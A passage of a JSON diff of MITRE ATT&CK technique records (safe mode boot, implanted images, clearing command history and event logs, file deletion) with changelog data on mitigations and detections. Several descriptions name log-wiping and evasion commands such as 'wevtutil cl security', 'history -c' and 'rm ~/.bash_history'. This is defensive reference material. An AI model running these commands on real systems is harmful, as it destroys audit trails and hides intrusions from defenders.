+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "macOS",
+ "Linux",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Sensor Health: Host Status\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.704000+00:00\", \"old_value\": \"2025-04-16 21:29:20.899000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\\n\\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\AUTOLOGGER_NAME\\\\{PROVIDER_GUID}\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\\n-\\n-Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\AUTOLOGGER_NAME\\\\{PROVIDER_GUID}\"}}}",
+ "previous_version": "1.5",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1022: Restrict File and Directory Permissions",
+ "M1054: Software Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0013: Sensor Health (Host Status)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0239: Detection Strategy for Impair Defenses Indicator Blocking"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-06-23 20:00:27.600000+00:00",
+ "modified": "2025-10-24 17:48:33.044000+00:00",
+ "name": "Safe Mode Boot",
+ "description": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1562/009",
+ "external_id": "T1562.009"
+ },
+ {
+ "source_name": "BleepingComputer REvil 2021",
+ "description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. Retrieved June 23, 2021.",
+ "url": "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/"
+ },
+ {
+ "source_name": "Cybereason Nocturnus MedusaLocker 2020",
+ "description": "Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021.",
+ "url": "https://www.cybereason.com/blog/medusalocker-ransomware"
+ },
+ {
+ "source_name": "Microsoft Bootcfg",
+ "description": "Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021.",
+ "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg"
+ },
+ {
+ "source_name": "Microsoft bcdedit 2021",
+ "description": "Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021.",
+ "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit"
+ },
+ {
+ "source_name": "Microsoft Safe Mode",
+ "description": "Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021.",
+ "url": "https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234"
+ },
+ {
+ "source_name": "CyberArk Labs Safe Mode 2016",
+ "description": "Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021.",
+ "url": "https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise"
+ },
+ {
+ "source_name": "Sophos Snatch Ransomware 2019",
+ "description": "Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021.",
+ "url": "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Jorell Magtibay, National Australia Bank Limited",
+ "Kiyohito Yamamoto, RedLark, NTT Communications",
+ "Yusuke Kubo, RedLark, NTT Communications"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.044000+00:00\", \"old_value\": \"2025-04-25 14:46:08.076000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \\\\* in front of the \\\"Startup\\\" value name: HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\[\\\"\\\\*Startup\\\"=\\\"{Path}\\\"] or by adding a key to HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\\n\\nMonitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \\\\* in front of the \\\"Startup\\\" value name: HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\[\\\"\\\\*Startup\\\"=\\\"{Path}\\\"] or by adding a key to HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\\n-\\n-Monitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1054: Software Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0116: Detection Strategy for Safe Mode Boot Abuse"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-09-04 12:04:03.552000+00:00",
+ "modified": "2025-10-24 17:48:45.786000+00:00",
+ "name": "Implant Internal Image",
+ "description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1525",
+ "external_id": "T1525"
+ },
+ {
+ "source_name": "Rhino Labs Cloud Image Backdoor Technique Sept 2019",
+ "description": "Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.",
+ "url": "https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/"
+ },
+ {
+ "source_name": "Rhino Labs Cloud Backdoor September 2019",
+ "description": "Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.",
+ "url": "https://github.com/RhinoSecurityLabs/ccat"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Yossi Weizman, Azure Defender Research Team",
+ "Vishwas Manral, McAfee",
+ "Praetorian"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "IaaS",
+ "Containers"
+ ],
+ "x_mitre_version": "2.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Image: Image Metadata\", \"Image: Image Creation\", \"Image: Image Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.786000+00:00\", \"old_value\": \"2025-04-25 15:15:30.983000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\\n\\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\\n-\\n-In containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. \"}}}",
+ "previous_version": "2.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1045: Code Signing",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0007: Image (Image Creation)",
+ "DS0007: Image (Image Metadata)",
+ "DS0007: Image (Image Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0334: Detection Strategy for T1525 \u2013 Implant Internal Image"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-31 12:32:08.228000+00:00",
+ "modified": "2025-10-24 17:48:40.313000+00:00",
+ "name": "Clear Command History",
+ "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history. \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (clear logging and/or clear history).(Citation: US-CERT-TA18-106A) On ESXi servers, command history may be manually removed from the `/var/log/shell.log` file.(Citation: Broadcom ESXi Shell Audit)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1070/003",
+ "external_id": "T1070.003"
+ },
+ {
+ "source_name": "Broadcom ESXi Shell Audit",
+ "description": "Broadcom. (2025, February 20). Auditing ESXi Shell logins and commands. Retrieved March 26, 2025.",
+ "url": "https://knowledge.broadcom.com/external/article/321910/auditing-esxi-shell-logins-and-commands.html"
+ },
+ {
+ "source_name": "Sophos PowerShell command audit",
+ "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.",
+ "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit"
+ },
+ {
+ "source_name": "Microsoft PowerShell Command History",
+ "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.",
+ "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"
+ },
+ {
+ "source_name": "US-CERT-TA18-106A",
+ "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
+ },
+ {
+ "source_name": "Sophos PowerShell Command History Forensics",
+ "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved November 17, 2024.",
+ "url": "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Vikas Singh, Sophos",
+ "Emile Kenning, Sophos",
+ "Austin Clark, @c2defense"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "1.6",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Deletion\", \"File: File Modification\", \"Command: Command Execution\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:40.313000+00:00\", \"old_value\": \"2025-04-15 19:58:23.774000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity.\\n\\nMonitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity.\\n-\\n-Monitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.\"}}}",
+ "previous_version": "1.6",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions",
+ "M1029: Remote Data Storage",
+ "M1039: Environment Variable Permissions"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Authentication)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Deletion)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0165: Behavioral Detection of Command History Clearing"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-28 17:11:54.034000+00:00",
+ "modified": "2025-10-24 17:48:34.441000+00:00",
+ "name": "Clear Linux or Mac System Logs",
+ "description": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* /var/log/messages:: General and system-related messages\n* /var/log/secure or /var/log/auth.log: Authentication logs\n* /var/log/utmp or /var/log/wtmp: Login records\n* /var/log/kern.log: Kernel logs\n* /var/log/cron.log: Crond logs\n* /var/log/maillog: Mail server logs\n* /var/log/httpd/: Web server access and error logs\n",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1070/002",
+ "external_id": "T1070.002"
+ },
+ {
+ "source_name": "Linux Logs",
+ "description": "Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020.",
+ "url": "https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Deletion\", \"File: File Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.441000+00:00\", \"old_value\": \"2025-04-15 21:56:45.103000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions",
+ "M1029: Remote Data Storage",
+ "M1041: Encrypt Sensitive Information"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Deletion)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0520: Behavioral Detection of Log File Clearing on Linux and macOS"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-28 17:05:14.707000+00:00",
+ "modified": "2025-10-24 17:48:52.287000+00:00",
+ "name": "Clear Windows Event Logs",
+ "description": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\n\nWith administrator privileges, the event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command Remove-EventLog -LogName Security to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within `C:\\Windows\\System32\\winevt\\logs\\`.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1070/001",
+ "external_id": "T1070.001"
+ },
+ {
+ "source_name": "disable_win_evt_logging",
+ "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
+ "url": "https://ptylu.github.io/content/report/report.html?report=25"
+ },
+ {
+ "source_name": "Microsoft Clear-EventLog",
+ "description": "Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.",
+ "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog"
+ },
+ {
+ "source_name": "Microsoft EventLog.Clear",
+ "description": "Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.",
+ "url": "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx"
+ },
+ {
+ "source_name": "Microsoft wevtutil Oct 2017",
+ "description": "Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.",
+ "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Lucas Heiligenstein"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Deletion\", \"Process: OS API Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.287000+00:00\", \"old_value\": \"2025-04-15 19:58:36.700000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: \\\"The audit log was cleared\\\").\"}}}",
+ "previous_version": "1.5",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions",
+ "M1029: Remote Data Storage",
+ "M1041: Encrypt Sensitive Information"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Deletion)"
+ ]
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0532: Detection of Event Log Clearing on Windows via Behavioral Chain"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-31 12:35:36.479000+00:00",
+ "modified": "2025-10-24 17:49:27.978000+00:00",
+ "name": "File Deletion",
+ "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del on Windows, rm or unlink on Linux and macOS, and `rm` on ESXi.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
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+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1070/004",
+ "external_id": "T1070.004"
+ },
+ {
+ "source_name": "Microsoft SDelete July 2016",
+ "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.",
+ "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete"
+ }
+ ],
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+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Walker Johnson"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
